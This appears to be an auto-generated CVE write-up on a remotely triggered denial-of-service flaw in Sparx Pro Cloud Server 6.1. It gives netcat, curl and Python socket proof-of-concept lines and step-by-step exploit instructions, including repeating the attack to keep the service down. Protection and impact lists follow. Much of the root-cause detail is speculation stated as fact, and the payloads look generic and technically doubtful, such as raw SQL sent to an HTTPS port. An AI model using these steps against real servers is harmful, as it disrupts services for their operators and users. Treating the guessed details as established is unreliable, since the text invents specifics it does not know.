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The vulnerability in CVE-2026-42100 stems from the way Sparx Pro Cloud Server processes SQL queries. Specifically, the server fails to properly handle syntactically invalid SQL structures. When an attacker sends a crafted SQL query containing malformed syntax, the server’s parser cannot gracefully manage the error. Instead, an unhandled exception or memory corruption occurs. This leads to the immediate termination of the Pro Cloud Server service. The crash is unexpected and can be triggered remotely without authentication. The root cause lies in improper input validation before query execution. The server likely uses a database engine that expects strictly well-formed queries. By injecting unexpected tokens, such as unmatched quotes, invalid operators, or broken keywords, the parser enters an unstable state. In many cases, a null pointer dereference or buffer over-read happens. The result is a denial-of-service (DoS) condition. The service must be manually restarted to restore normal operation. An attacker can repeatedly send these malicious queries to keep the service offline. This creates a sustained DoS scenario. The vulnerability was discovered and reported by CERT.PL. The vendor was contacted early but did not respond. No official advisory or version range has been released. Only version 6.1 build 167 and below have been tested as vulnerable. Other versions may also be affected. The NVD published this CVE on May 19, 2026. The last modification date is June 2, 2026. No patch or mitigation has been provided by the vendor at this time. The weakness is categorized as improper handling of syntactically invalid structures (CWE-1288). Attack vectors are simple – a single HTTP or TCP request containing the malformed SQL query suffices. The service termination happens almost instantly upon processing the query. No elevated privileges are required. This makes the vulnerability highly dangerous for exposed instances.
DailyCVE Form:
Platform: Sparx Pro Cloud
Version: 6.1 (build167)
Vulnerability: DoS via craftedSQL
Severity: Medium
Date: 2026-05-19
Prediction: No patch expected
What Undercode Say:
Analytics:
Test for vulnerability using netcat
echo "SELECT FROM users WHERE id=1'" | nc target_ip 443
Send malformed query via curl (if HTTP endpoint exists)
curl -X POST http://target/procloud/sql -d "query=SELECT%20%20FROM%20table%20WHERE%20value%3D%27%27%27"
Python proof-of-concept
import socket
payload = b"SELECT\x20\x20FROM\x20\x27\x27\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
s = socket.socket()
s.connect(("target", 443))
s.send(payload)
s.close()
Exploit:
- Identify an accessible Sparx Pro Cloud Server instance (port 443 or 8080 typically).
- Construct a SQL query with broken syntax, e.g., `SELECT FROM table WHERE id=”’` or
SELECT @@version;--'. - Send the crafted query via any protocol the server accepts (HTTP POST, raw TCP).
- Observe the service crash – connection drops and server process terminates.
5. Repeat to maintain DoS.
Protection:
- Deploy a Web Application Firewall (WAF) to filter malformed SQL patterns.
- Implement network-level rate limiting to reduce attack frequency.
- Isolate the Pro Cloud Server behind a reverse proxy with request validation.
- Monitor for unexpected service crashes and auto-restart with backoff.
- Since no patch exists, consider temporarily disabling external SQL query interfaces.
Impact:
- Denial of Service causing server unavailability.
- Interruption of all cloud-based modeling and collaboration services.
- Manual intervention required for each crash, increasing operational costs.
- Potential cascading failures if the service is part of a larger workflow.
- No data breach or privilege escalation, but availability is completely compromised.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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